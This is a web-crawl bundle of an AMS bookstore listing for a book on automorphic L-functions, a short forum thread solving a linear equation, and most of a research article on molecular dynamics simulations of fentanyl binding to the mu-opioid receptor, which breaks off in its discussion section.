http://www.ams.org/bookstore?fn=20&arg1=fimseries&ikey=FIM-20-S	New Titles \| FAQ \| Keep Informed \| Review Cart \| Contact Us Quick Search (Advanced Search ) Browse by Subject General Interest Logic & Foundations Number Theory Algebra & Algebraic Geometry Discrete Math & Combinatorics Analysis Differential Equations Geometry & Topology Probability & Statistics Applications Mathematical Physics Math Education Lectures on Automorphic $$L$$-functions James W. Cogdell, Oklahoma State University, Stillwater, OK, Henry H. Kim, University of Toronto, ON, Canada, and M. Ram Murty, Queen's University, Kingston, ON, Canada A co-publication of the AMS and Fields Institute. SEARCH THIS BOOK: Fields Institute Monographs 2004; 283 pp; softcover Volume: 20 ISBN-10: 0-8218-4800-3 ISBN-13: 978-0-8218-4800-5 List Price: US$92 Member Price: US$73.60 Order Code: FIM/20.S This book provides a comprehensive account of the crucial role automorphic $$L$$-functions play in number theory and in the Langlands program, especially the Langlands functoriality conjecture. There has been a recent major development in the Langlands functoriality conjecture by the use of automorphic $$L$$-functions, namely, by combining converse theorems of Cogdell and Piatetski-Shapiro with the Langlands-Shahidi method. This book provides a step-by-step introduction to these developments and explains how the Langlands functoriality conjecture implies solutions to several outstanding conjectures in number theory, such as the Ramanujan conjecture, Sato-Tate conjecture, and Artin's conjecture. It would be ideal for an introductory course in the Langlands program. Titles in this series are co-published with The Fields Institute for Research in Mathematical Sciences (Toronto, Ontario, Canada). Graduate students and research mathematicians interested in representation theory and number theory. James W. Cogdell, Lectures on $$L$$-functions, converse theorems, and functoriality for $$GL_n$$ • Preface • Modular forms and their $$L$$-functions • Automorphic forms • Automorphic representations • Fourier expansions and multiplicity one theorems • Eulerian integral representations • Local $$L$$-functions: The non-Archimedean case • The unramified calculation • Local $$L$$-functions: The Archimedean case • Global $$L$$-functions • Converse theorems • Functoriality • Functoriality for the classical groups • Functoriality for the classical groups, II Henry H. Kim, Automorphic $$L$$-functions • Introduction • Chevalley groups and their properties • Cuspidal representations • $$L$$-groups and automorphic $$L$$-functions • Induced representations • Eisenstein series and constant terms • $$L$$-functions in the constant terms • Meromorphic continuation of $$L$$-functions • Generic representations and their Whittaker models • Local coefficients and non-constant terms • Local Langlands correspondence • Local $$L$$-functions and functional equations • Normalization of intertwining operators • Holomorphy and bounded in vertical strips • Langlands functoriality conjecture • Converse theorem of Cogdell and Piatetski-Shapiro • Functoriality of the symmetric cube • Functoriality of the symmetric fourth • Bibliography M. Ram Murty, Applications of symmetric power $$L$$-functions • Preface • The Sato-Tate conjecture • Maass wave forms • The Rankin-Selberg method • Oscillations of Fourier coefficients of cusp forms • Poincaré series • Kloosterman sums and Selberg's conjecture • Refined estimates for Fourier coefficients of cusp forms • Twisting and averaging of $$L$$-series • The Kim-Sarnak theorem • Introduction to Artin $$L$$-functions • Zeros and poles of Artin $$L$$-functions • The Langlands-Tunnell theorem • Bibliography	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4203251898288727, "perplexity": 6662.027420016595}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2015-18/segments/1429246636213.71/warc/CC-MAIN-20150417045716-00282-ip-10-235-10-82.ec2.internal.warc.gz"}
https://web2.0calc.com/questions/x-5-y-6-1-what-does-x-and-y-eguals	+0 # ((x)/5)-(((y)/6)) =1 what does x and y eguals +1 60 2 ((x)/5)-(((y)/6)) =1 what is x and what is y?? Guest Sep 26, 2017 Sort: #1 +1 y has many different values based on the value of x The relationship is below: y = (6(x/5)-1) Guest Sep 26, 2017 #2 +7059 0 what does x and y eguals? ((x)/5)-(((y)/6)) =1 what is x and what is y? Hello Guest! $$\color{BrickRed}\frac{x}{5}-\frac{y}{6}=1\\ \frac{x}{5}=1+\frac{y}{6}\\ \color{blue}x=\frac{5}{6}y+5$$ $$\color{BrickRed}\frac{x}{5}-\frac{y}{6}=1\\ -\frac{y}{6}=1-\frac{x}{5}\\ \color{blue}y=\frac{6}{5}x-6$$ ! asinus Sep 26, 2017 ### 25 Online Users We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners. See details	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.42403414845466614, "perplexity": 7286.065033219216}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-43/segments/1508187822625.57/warc/CC-MAIN-20171017234801-20171018014801-00500.warc.gz"}
https://www.nature.com/articles/s41467-021-21262-9	## Introduction Opioids are highly effective pain relievers, but their addictive nature can easily lead to abuse and overdose-related deaths. From 1999 to 2018, almost 450,000 people died from opioid overdose in the United States1. Overdose deaths from synthetic opioids, represented by fentanyl and its derivatives, are now associated with more deaths than any other type of opioid2. The surge in fentanyl is attributed to high potency (50–400 times more potent than the naturally occurring morphine), fast onset, straightforward synthesis, and low-cost production3,4,5,6. Additionally, the fentanyl core is readily modified creating a vast chemical space of fentanyl analogs with abuse potential7. Fentanyl and morphine opioids produce strong analgesic responses through binding and subsequent activation of a class A G protein-coupled receptor (GPCR) μ-opioid receptor (mOR)8. In recent years, high-resolution crystal structures of mOR in complex with the morphinan agonist BU729, antagonist β-FNA10, as well as the endogenous peptide analog agonist DAMGO11 have been determined, featuring a salt bridge between a charged amine group of the ligand and a conserved residue Asp147 on the transmembrane helix (TM) 3 (Asp3.32 in the Ballesteros-Weinstein numbering12) of mOR (Fig. 1a). The morphinan compounds and peptide analog also interact with a conserved His297 on TM6 (His6.52 in the Ballesteros-Weinstein numbering12) via water-mediated hydrogen bonds. Mutagenesis studies demonstrated that mutation of either Asp147 or His297 as well as a reduced pH (which presumably protonates His297) decreases the binding affinities for DAMGO and naloxone (antagonist)13,14,15. Despite the importance, surprisingly little is known about the signaling mechanism of fentanyl and how it interacts with mOR to illicit analgesic response6. It is conceivable that fentanyl and its analogs bind and activate mOR in the same manner as morphinan compounds; however, the structural basis remains lacking. The aforementioned mutagenesis experiments performed to probe the role of Asp147 and His297 were inconclusive due to excessive non-specific binding of fentanyl15 Docking16,17. and long-timescale molecular dynamics (MD) simulations18 based on the docked structure of fentanyl in mOR confirmed the stability of the orthosteric binding mode involving the salt bridge with Asp147; however, the role of His297 has not been explored (Fig. 1). Towards understanding the molecular mechanism of mOR activation by fentanyl, here we elucidate the detailed fentanyl–mOR binding mechanism by exploiting a morphinan-bound mOR crystal structure and several molecular dynamics (MD) methods, including the weighted ensemble (WE) approach19,20,21 for enhanced path sampling and membrane-enabled continuous constant-pH MD (CpHMD) with replica-exchange22,23,24. The latter method has been previously applied to calculate pKas and describe proton-coupled conformational dynamics of membrane channels25 and transporters23,26,27. Surprisingly, WE path sampling found that when His297 adopts the HID tautomer, fentanyl can move deeper into the mOR and establish an alternative binding mode through hydrogen bonding with His297. CpHMD titration showed that His297 favors the HIE tautomer in the apo mOR; however, interaction with the piperidine amine of fentanyl locks it in the HID tautomer. Additional microsecond equilibrium simulations were conducted to further verify the two binding modes and generate fentanyl–mOR interaction fingerprints. Alternative binding modes and involvement of tautomer states may represent general mechanisms in GPCR-ligand recognition. Our work provides a starting point for understanding how fentanyl activates mOR at a molecular level. Fentanyl analogs that can be significantly more potent and addictive are emerging on the dark market at a rapid pace. The molecular mechanism by which structural modifications alter fentanyl potency and abuse potential can inform the design of safer analgesics to combat the opioid crisis. ## Results ### Fentanyl unbinds from the D147-bound configurations in the presence of HIE297 Following the 115-ns MD to relax the docked fentanyl–mOR complex (details see Methods and Protocols and Supplementary Fig. 1), we performed WE all-atom MD simulations to explore the detailed binding interactions of fentanyl in mOR (Table 1). The fentanyl RMSD was used as the progress coordinate. The MD trajectories were produced using the GPU-accelerated PMEMD engine in AMBER1828 and the Python-based WESTPA tool20 was used to control the WE protocol. In the first WE simulation of 24 μs aggregate time, His297 was fixed in the HIE tautomer (Nϵ atom of imidazole is protonated), as in the recent mOR simulations by the Dror group9,11. The WE-HIE simulation proceeded as expected. In the first 75 iterations or 2.5 μs of cumulative sampling time, fentanyl’s piperidine stays near Asp147, sampling both the salt-bridged and solvent-separated configurations, with the FEN–D147 distance (minimum heavy-atom distance between the piperidine amine and the carboxylate) below 5 Å (Fig. 2a and Supplementary Fig. 2). During this time, fentanyl ΔZ fluctuates between 7.5 and 10.5 Å, and RMSD stays below 4 Å (Supplementary Fig. 2). ΔZ is defined as the distance between the centers of mass of fentanyl and mOR in the z direction, whereby the N- (52–65) and C-terminal (336–347) residues of mOR were excluded from the calculation. After 75 iterations, fentanyl starts to move upward and away from Asp147; after about 140 iterations or 8 μs of cumulative sampling time, RMSD increases to above 7.5 Å and ΔZ starts to sample values above 14 Å, indicating that fentanyl is on the way to exit mOR (Supplementary Fig. 2). At the end of 300 iterations or 24 μs of cumulative sampling time, fentanyl reaches the extracellular end of mOR (Supplementary Fig. 2). It is noteworthy that in the WE-HIE simulation, the FEN–H297 distance from the piperidine nitrogen to the unprotonated imidazole nitrogen is always above 4 Å, indicating that fentanyl’s piperidine does not form hydrogen bond interactions with His297 (Fig. 2a and Supplementary Fig. 2). Interestingly, even with the intact piperidine–D147 salt bridge, fentanyl can sample various configurations with a RMSD as high as 8 Å (Supplementary Fig. 2). ### Fentanyl samples both D147- and H297-bound configurations in the presence of HID297 In addition to HIE, a neutral histidine can adopt the HID tautomer state, whereby the Nδ atom is protonated. Considering the important and yet unclear role of His297 in opioid-mOR binding, we conducted another WE simulation with His297 fixed in HID (WE-HID). Surprisingly, fentanyl did not exit mOR as was observed in the WE-HIE simulation. After about 27 iterations or 0.6 μs of cumulative sampling time, some of the trajectories start to sample configurations in which fentanyl laterally rotates 120, translates 2 Å, and moves down 1 Å, enabling the formation of a stable hydrogen bond between the piperidine amine and the unprotonated Nϵ atom of HID297, (Figs. 1a, 2b, and Supplementary Fig. 3). At the same time, the RMSD remains below 7 Å. Unexpectedly, after about 210 iterations or 13 μs of cumulative sampling time, some trajectories start to sample configurations in which fentanyl is inserted deeper into the receptor (Supplementary Fig. 3). At the end of 20 μs aggregate time, fentanyl continues to sample the D147- and HID297-bound configurations along with positions in which it does not interact with either residue (Fig. 2b and Supplementary Fig. 3); however, the fentanyl ΔZ stay below 14 Å, indicating that it remains inside of the ligand accessible vestibule of mOR (Fig. 2b and Supplementary Fig. 3). ### Further comparison between the configurations from the WE-HIE and WE-HID simulations To further understand the differences in the configuration space sampled by fentanyl in the presence of HIE297 and HID297, we plotted FEN–H297 vs. FEN–D147 distance and color coded the data points by ΔZ of fentanyl. Corroborating with the previous analysis, these plots show that while the D147-bound configurations (FEN–D147 distance ≤ 3.5 Å) are sampled in both WE-HIE and WE-HID simulations, the H297-bound configurations (FEN–H297 distance ≤ 3.5 Å) are only sampled in the WE-HID simulation (Fig. 2c, d). Further, the H297-bound configurations sample lower ΔZ positions of 3–8 Å, as compared to the D147-bound configurations whereby ΔZ is in the range of 7–13 Å, (Fig. 2c–f, and Supplementary Fig. 2, 3). Interestingly, the WE-HID simulation also sampled fentanyl configurations deeply embedded in mOR (ΔZ ≤ 3 Å) but without a hydrogen bond with HID297 (FEN–H297 distance of 4–6 Å), suggesting that the piperidine–HID297 hydrogen bond may not be the only stabilizing factor for the deep insertion of fentanyl in mOR (Fig. 2d and Supplementary Fig. 4). Representative snapshots suggest that the interactions between the phenylethyl group and Trp293 may be a contributor (Fig. 2f). ### His297 favors the HIE tautomer in the apo mOR but the piperidine–HID297 interaction locks His297 in the HID state The WE simulations suggest that fentanyl has an alternative binding mode which may be promoted by the presence of the HID tautomer of His297. To determine the physiological relevance, we carried out titration simulations using the membrane-enabled hybrid-solvent CpHMD method with pH replica exchange22,23 to determine the protonation state of His297 under physiological pH for the apo mOR and the fentanyl-bound mOR in the D147- as well as the H297-binding modes (Table 1). For each system, 16 pH replicas were simulated in the pH range 2.5–9.5, with the aggregate sampling time of 320 ns. All Asp/Glu/His and fentanyl’s piperidine amine in the holo systems were allowed to titrate. The calculated pKa of His297 is well converged (Supplementary Fig. 4). In the absence of ligand (CpH-apo simulation), the calculated macroscopic pKa of His297 is 6.8. At physiological pH 7.4, the HIE tautomer is predominantly sampled at 64%, while the HID tautomer and the charged HIP populations are 12% and 24%, respectively (Fig. 3a). The presence of fentanyl in the D147-binding mode upshifts the His297 pKa to 7.3 (CpH-D147 simulation). At physiological pH, both HIE and HIP are the predominant forms accounting for 39% and 44% of the population, respectively, while HID accounts for 17% of the population (Fig. 3b). Finally, CpHMD titration was also performed for the fentanyl–mOR complex in the H297-binding mode (CpH-H297 simulation). Interestingly, the calculated pKa of His297 is 6.7, nearly the same as for the apo mOR; however, at physiological pH HID is the predominant form with a population of 60%, while the HIE and HIP forms account for 20% each. Importantly, the protonation state of His297 is coupled to its distance to the piperidine amine of fentanyl (Fig. 3d). When the piperidine nitrogen is within 4 Å of the Nϵ atom of His297, the HID state is exclusively sampled, whereas the HIE and HIP states are only allowed when the piperidine–His297 distance is ≥7 Å (Fig. 3d). These data are consistent with the equilibrium MD which shows that the distance is 3.0 ± 0.22 Å, 7.4 ± 0.72 Å, and 8.0 ± 0.5 Å with HID297, HIE297, and HIP297, respectively, while the distance range 4–7 Å is rarely sampled (Supplementary Fig. 8). Note, in both holo simulations the piperidine amine remains protonated/charged in the entire pH range 2.5–9.5. The CpHMD simulations demonstrate that ligand interaction perturbs the protonation state of His297: while the apo mOR preferably samples HIE297, the population of HIP or HID state may increase upon ligand binding. When fentanyl interacts with Asp147, the HIP state is sampled with an equal probability as HIE, and when fentanyl interacts with His297, HID is the preferred state. These data provide an explanation as to why the H297-binding mode (quickly) emerged in the WE simulation with HID297 but not HIE297. ### Asp114 is deprotonated The protonation state of the highly conserved residue Asp114 (Asp2.50) in the active mOR remains unclear to this day. Despite not having a direct role in ligand binding, Asp114 is involved in mOR activation.9,11,29,30 Previous experiments30 and simulations9,11,29 demonstrated that Asp114 binds a sodium ion in the inactive but not active state of GPCRs. Based on the lack of sodium binding, two previous MD studies used a protonated Asp1149,11, while other published work did not specify the protonation state18,31,32. The CpHMD titration gave a pKa of 4.8 ± 0.30 for the apo and 5.1 ± 0.26/0.29 for the fentanyl-bound mOR in the D147- or H297-binding mode. Therefore, even though the pKas are upshifted relative to solution value of 3.833, Asp114 remains deprotonated at physiological pH in the active mOR according to the CpHMD simulations. ### The D147-binding mode is stable regardless of the protonation state of H297 To further characterize fentanyl–mOR interactions and delineate the impact of the His297 protonation state, we carried out a series of equilibrium simulations (Table 1). First, three 0.5-μs simulations were initiated from the equilibrated fentanyl–mOR complex in the D147-binding mode with His297 fixed in the HID, HIE, and HIP states (Table 1). To quantify ligand-receptor interactions, the fractions of time for the mOR residues that form at least one heavy-atom contact with fentanyl were calculated (Fig. 4a–d, top panels). To determine what parts of fentanyl contribute to the receptor recognition, a fingerprint matrix was calculated which shows the contacts formed between specific mOR residues and fentanyl substituents (Fig. 4a–d, bottom panels). Simulations starting from the D147-binding mode demonstrated that many interactions are independent of the protonation state of His297. Most importantly, the piperidine–D147 salt bridge remains stable throughout the 0.5-μs trajectories with HIE297, HID297, and HIP297 (Supplementary Fig. 5 and Fig. 4a–c), consistent with the WE simulations. Interestingly, while maintaining the salt bridge with piperidine, Asp147 also interacts with phenyl and phenethyl at the same time (Fig. 4a–c, bottom panels), which may provide further stabilization to the D147-binding mode. Another important fentanyl–mOR contact is the aromatic stacking interaction between the phenyl ring of the phenethyl group and Trp293 (Figs. 1b, 4a–c bottom panels, and Supplementary Fig. 6), which remains stable in all three simulations. The importance of the phenethyl group at this location in the 4-anilidopiperidine core of fentanyl is supported by the observations that substitution with methyl (as in N-methyl norfentanyl) increases the Ki value by about 40 fold34, and removal of one ethylene group renders the ligand inactive35. However, substitution with a different aromatic ring, e.g thiophene in sufentanil and ethyl tetrazolone in alfentanil, does not appear to be have a significant effect on binding affinity, although the latter ligands have an O-methyl group at the 4-axial hydrogen position4. The importance of the phenethyl-Trp293 stacking interaction is also consistent with a recent study which showed that removal of one methylene group from phenethyl increases the IC50 value by two orders of magnitude36. ### Fentanyl–mOR interaction profiles vary with different protonation state of His297 albeit in the same D147-binding mode Despite the similarities, the fentanyl–mOR interaction profiles obtained from the simulations MD-D147(HID), MD-D147(HIE), MD-D147(HIP) show differences (Fig. 4a–c). To quantify the overall difference between two interaction profiles, the Tanimoto coefficient (Tc)37 was calculated (Fig. 5a), where Tc of 1 indicates that identical mOR residues are involved in binding to fentanyl. Accordingly, the contact profiles with HIE297 and HIP297 are more similar (Tc of 0.81), whereas the contact profiles with HID297 and HIE297/HIP297 are somewhat less similar (Tc of 0.71/0.73). As to the latter, the most significant differences are in the N-terminus. While fentanyl makes no contact with the N-terminus in the simulation with HID297, it interacts via propanamide and phenyl groups with His54 and Ser55 in the simulations with HIE297/HIP297. The fentanyl–N-terminus interactions are consistent with an experimental study which demonstrated that truncation of the mOR N-terminus increases the dissociation constant of fentanyl by 30 fold38. Significant differences are also seen in the TM2 contacts between simulations with HIE297 and HID297/HIP297. Four TM2 residues, Ala113, Asp114, Ala117, Gln124, are involved in stable interactions with fentanyl in the simulations with HID297/HIP297; however, only one TM2 residue Gln124 contacts fentanyl in the simulation with HIE297 (Fig. 4a–c, top panels). A closer examination revealed that Gln124 interacts with phenyl in the simulation with HID297/HIP297 but it additionally interacts with propanamide in the simulation with HIE297, forming a stable hydrogen bond (Fig. 4a, b, bottom panels, Supplementary Fig. 7). This hydrogen bond may contribute to an upward shift of fentanyl’s position in the simulation with HIE297 (see later discussion), resulting in a decrease of the aromatic stacking interaction between the phenyl ring of the phenethyl group and Trp293 (Supplementary Fig. 6). ### The H297-binding mode is stabilized by many fentanyl–mOR contacts in the presence of HID297 To further evaluate the fentanyl–mOR interactions in the H297-binding mode, three 1-μs equilibrium simulations were initiated from the H297-binding mode with His297 fixed in the HID, HIE, and HIP states. We refer to these simulations as MD-H297(HID), MD-H297(HIE), and MD-H297(HIP), respectively (Table 1). In the MD-H297(HID) simulation, the piperidine–H297 hydrogen bond remains stable; however, the hydrogen bond immediately breaks and the N–Nϵ distance fluctuates around 7.5 Å and 8.0 Å in the simulations with HIE297 and HIP297, respectively (Supplementary Fig. 8). These results are in agreement with the CpHMD titration, confirming that the H297-binding mode is only stable in the presence of HID297. In addition to the piperidine–H297 hydrogen bond, the simulation MD-H297(HID) shows that fentanyl forms stable contacts (with a contact fraction greater than 0.5) with over a dozen of residues on TM3, TM5, TM6, and TM7 (Figs. 1c, 4d), which explains the stability of the H297-binding mode in both MD-H297(HID) and WE-HID simulations. ### Comparison of the fentanyl–mOR contact profiles in the two binding modes Several interactions, e.g., stable contacts with Met151 (TM3), Trp293 (TM6), and Ile322 (TM7), are shared among all equilibrium simulations, regardless of the binding mode or His297 protonation state (Figs. 1b, c, 4a–d). Among them is the aromatic stacking between the phenethyl group and Trp293 (Fig. 4a–d, Supplementary Fig. 6), which is stable in all simulations. Nonetheless, the contact profile from the simulation MD-H297(HID) is drastically different from those in the D147-binding mode. The Tc value comparing MD-H297(HID) with MD-D147(HID), MD-D147(HIE), and MD-D147(HIP) are 0.44, 0.46, and 0.31, respectively (Fig. 5a). Fentanyl contacts with the N terminus and TM2 residues are completely absent and fewer TM7 residues are involved in fentanyl interactions in the simulation MD-H297(HID) (Fig. 4d). Most contacts uniquely observed for the H297-binding mode involve TM5 residues. As His297 is slightly below Asp147, a switch from the piperidine–D147 salt bridge to the piperidine–H297 hydrogen-bond results in a lower vertical position for fentanyl as compared to the D147-binding mode. The change in the vertical position likely contributes to the differences in the mOR residues interacting with fentanyl. The fentanyl–H297 interactions also appear to perturb the local environment. While the backbone amide–carbonyl hydrogen bond between His297 and Trp293 is present in all equilibrium simulations, the backbone carbonyl of Trp293 also accepts a stable hydrogen bond from the Nδ atom of HID297 in the simulation MD-H297(HID) (Supplementary Fig. 7A, C). We hypothesize that the hydrogen-bond network (fentanyl–HID297–Trp293) together with the aromatic stacking between the phenethyl group and Trp293 contributes to a slight increase in the χ2 angle of Trp293 (125 ± 9), as compared to that in the D147-binding mode simulations (112 ± 10 with HIE297, 116 ± 9.6 with HID297, and 110 ± 9.5 with HIP297). Interestingly, the χ2 angle of Trp293 in the X-ray structure of active mOR bound to BU72 (PDB: 5C1M9) is 120, while that in the X-ray structure of the inactive mOR bound to the antagonist β-FNA (PDB: 4DKL10) is 80. Another intriguing feature of the simulation MD-H297(HID) is the transient contact between Asp147 and the 4-axial hydrogen of the piperidine ring (Fig. 4d, f). In the simulations of the D147-binding mode, the 4-axial hydrogen makes contact with TM6 or TM7 residues (Fig. 4a–c); however, in the simulation of the H297-binding mode, since the piperidine position is lower due to hydrogen bonding with His297, the 4-axial hydrogen position is also lowered, enabling an interaction with Asp147. Thus, we hypothesize that a substitution for a larger polar group at the 4-axial position might add stable interactions to both the D147- and H297-binding modes, which would potentially explain the increased binding affinity of fentanyl analogs with a methyl ester substitution at the 4-axial position, e.g. carfentanil and remifentanil3,34,36,39. ### Comparison of the position and conformation of fentanyl in different binding modes The WE simulations demonstrated that the two fentanyl binding modes are readily accessible from one another in the presence of HID297 (Fig. 2d). The equilibrium simulations found that fentanyl contacts His297 in the D147-binding mode with HID297 or HIE297 (Fig. 4a, b) and it transiently interacts with Asp147 in the H297-binding mode with HID297 (Fig. 4d). To quantify the spatial relationship between the two binding modes, we calculated the center of mass (COM) positions of fentanyl and key contact residues relative to that of mOR based on the equilibrium simulations of the D147- and H297-binding modes and plotted in the (Y,Z) and (X,Y) planes. The resulting side (Fig. 5b) and top (Fig. 5c) views of the fentanyl and mOR residue locations showed that fentanyl adopts a similar position in the simulations of the D147-binding mode with HIE297 or HIP297; however, intriguingly, with HID297, the fentanyl position is moved towards the position it takes in the simulation of the H297-binding mode. Specifically, in going from the D147- to the H297-binding mode, fentanyl laterally rotates by about 120 such that the piperidine amine faces the Nϵ atom of His297, and translates by about 2 Å on the (X,Y) plane before moving down the Z-axis (Fig. 5b, c). The simulation MD-H297(HID) gave the fentanyl ΔZ of 7.4 ± 0.4 Å, as compared to 8.3 ± 0.4, 8.8 ± 0.3, and 9.2 ± 0.5 from the simulations MD-D147(HID), MD-D147(HID), and MD-D147(HIP), respectively. Additionally, fentanyl is in a more upright position in the simulation of the H297 binding mode, with a vertical angle of 15, compared to the angle of 20–40 in the simulations of the D147-binding mode (Supplementary Fig. 10). A closer look at the conformation of His297 suggests that its χ2 dihedral angle may be modulated by the protonation/tautomer state (Supplementary Fig. 11). When His297 is in the HIE or HIP state, only the negative χ2 angle is sampled regardless of the binding mode; however, in the presence of HID297, the simulation of the D147-binding mode samples both negative and positive χ2 angles, whereas the simulation of the H297-binding mode only samples the positive χ2 angle. Thus, it is possible that HID297 allows both rotameric states, while the piperidine–H297 hydrogen bond locks the angle at 100. These data further support the notion that the two binding modes are made accessible to one another in the presence of HID297. ### Comparison to the crystal structures of mOR in complex with BU72 and other ligands Finally, we compare the two fentanyl binding modes to the crystal structure of the BU72-bound mOR, which was used as a template to build the initial structure of fentanyl–mOR complex for WE simulations. The BU72-mOR binding profile is most similar to fentanyl’s D147-binding profile in the presence of HIE297 (Tc of 0.71) due to their nearly identical interactions with the N-terminus, TM2, TM3 and TM7. To a lesser extent, the BU72 binding profile shares similarities with fentanyl’s D147-binding profile in the presence of HID297 or HIP297 (Tc of 0.57 for both). Importantly, the six residues, Gln124 (TM2), Asp147 and Met151 (TM3), Trp293 (TM6), Ile322 and Tyr326 (TM7), which form the foundation of the D147 binding pocket for fentanyl (with contact fraction greater than 0.5 regardless of the protonation state of His297) are present in the BU72-mOR binding contacts (Fig. 4a–c). In contrast, the BU72-mOR contact profile has a much lower overlap with fentanyl’s H297-binding profile (Tc of 0.38). In addition to BU72, we compare fentanyl’s D147-binding profile (HIE297) to DAMGO- and β-FNA contacts with mOR based on the crystal structures (Supplementary Fig. 13). In contrast to fentanyl and BU72, DAMGO (a natural agonist) and β-FNA (an antigonist) do not form contacts with TM2 in the crystal structures. Other than that, DAMGO-mOR contact profile is similar to BU72-mOR and fentanyl’s D147-binding profile (with HIE297), whereas β-FNA makes additional contacts with TM6 (Ala287, Ile290, and Val291) and has different contacts with TM7. ## Discussion In summary, several molecular dynamics simulation techniques have been applied to investigate fentanyl binding to mOR. The WE simulations confirmed that fentanyl binds to mOR via the salt-bridge interaction between the piperidine amine and the conserved Asp147, consistent with the X-ray crystal structures of mOR in complex with BU72, β-FNA, and DAMGO9,10,11. However, surprisingly, when His297 is protonated at δ nitrogen (HID), fentanyl can also adopt a H297-binding mode, in which the piperidine amine donates a hydrogen bond to the ϵ nitrogen of HID297. The conventional single trajectory simulations confirmed that the D147-binding mode is stable regardless of the protonation state of His297, whereas the H297-binding mode is only compatible with HID297. These findings are consistent with a recent conventional MD study of the fentanyl–mOR binding, which found that the D147 binding mode was stable in the presence of HID29718 but fentanyl moved deeper to contact HID297 in some trajectories (personal communication with Lipiński). Our CpHMD titration rationalized the finding by showing that in the absence of the piperidine amine-imidazole interaction, His297 can titrate via either Nδ or Nϵ; however, in the presence of the interaction, Nϵ loses the ability to gain a proton, locking histidine in the HID form. We note that the calculation of the relative stability of the D147- vs. H297-binding mode is beyond the scope of the present work. Such a study would require converged WE simulations and accurate force field for quantifying the strengths of salt bridges and hydrogen bonds. Previous work by us25 and others40 showed that the CHARMM3641 or the CHARMM36m force field42 used in this work overstabilizes salt bridges formed by aspartates, although this might not be the case for the piperidine-Asp147 interaction. Overstabilization of salt bridges is a common problem with additive force fields, which may be overcome by explicit or implicit consideration of polarization40. We also note that given converged WE simulations, the transition rate between the two binding modes may be estimated43, which is a topic of future exploration. It is important to consider the physiological relevance of the H297-binding mode. According to the CpHMD titration, at physiological pH, HIE297 is the predominant form in the apo mOR, and HID297 is least populated in both the apo and holo mOR in the D147-binding mode. Consistent with these data, the crystal structure-based BU72-mOR contact profile bears the strongest resemblance to the simulated D147-binding mode with HIE297 as compared to HID297 or HIP297. Thus, we hypothesize that fentanyl primarily binds mOR via the D147 mode under physiological pH, while the H297-binding mode is a secondary state. This hypothesis is consistent with the recent experiments15,44,45 showing that acidic pH has a negligible effect on fentanyl–mOR binding. These experiments also showed that fluorinated fentanyl which have lower pKas (6.8–7.2) than fentanyl (~8.946,47) have increased affinities for mOR at lower pH. The CpHMD simulations showed that fentanyl’s piperdine amine remains protonated/charged up to pH 9.5, while Asp147 is deprotonated with an estimated pKa of 3–4. Thus, our data are consistent with the hypothesis44,45,48 that while fentanyl’s D147-binding is not affected, lowering pH promotes protonation of the fluorinated fentanyls and thereby strengthening the salt bridge with Asp147. We expect the fluorinated fentanyls to have a lower potential for the His297-binding mode at physiological pH than fentanyl due to the decreased protonation of the piperidine. The X-ray structures of mOR in complex with BU72, β-FNA, and DAMGO9,10,11 show that while the piperidine amine forms a salt bridge with Asp147, the phenol hydroxyl group of the ligand forms a water-mediated hydrogen bond with His297. MD simulations of Dror and coworkers confirmed the stability of the water-mediated interactions between BU72 or DAMGO and His297 (HIE)9,11. Simulations of Carloni and coworkers31 found that while in the D147-binding mode, the phenol group of morphine or hydromorphone forms a direct or water-mediated hydrogen bond with His297 (HIE), respectively. Morphine was also suggested to make hydrophobic contacts with His297 (HID) while in the D147-binding mode by the recent MD study of Lipiński and Sadlej18. The de novo binding simulations of the Filizola group32 showed that oliceridine (TRV-130) which has an atypical chemical scaffold binds mOR via water-mediated interactions with Asp147, while frequently contacting His297 (protonation state unclear). Fentanyl does not have a phenol group, and it differs from morphinan ligands in several other ways. Fentanyl has an elongated shape; it is highly flexible with at least seven rotational bonds; and it has only two structural elements capable of forming hydrogen bonds (amine and carbonyl groups). In contrast, morphinan ligands are bulkier, rigid, and possess more structural elements (i.e. phenol group) with hydrogen bonding capabilities. The bulkier structure and additional hydrogen-bond interactions may further stabilize the piperidine-D147 salt bridge, preventing the ligand from moving deeper into mOR and access the H297-binding mode. Therefore, it is possible that the H297-binding mode is unique to fentanyl and analogs. Intriguingly, a combined MD and experimental study found that unlike synthetic antagonists, the endogenous agonist acetylcholine (a small elongated molecule) can diffuse into a much deeper binding pocket of M3 and M4 muscarinic acetylcholine receptors49. Thus, alternative binding modes may be a general phenomenon of GPCR-ligand recognition. The CpHMD titration allowed us to determine the protonation states of His297 and all other titratable sites in mOR, including the conserved Asp1142.50. Sodium binding in the inactive mOR suggests a deprotonated Asp11430, while the protonation state for the active mOR remains 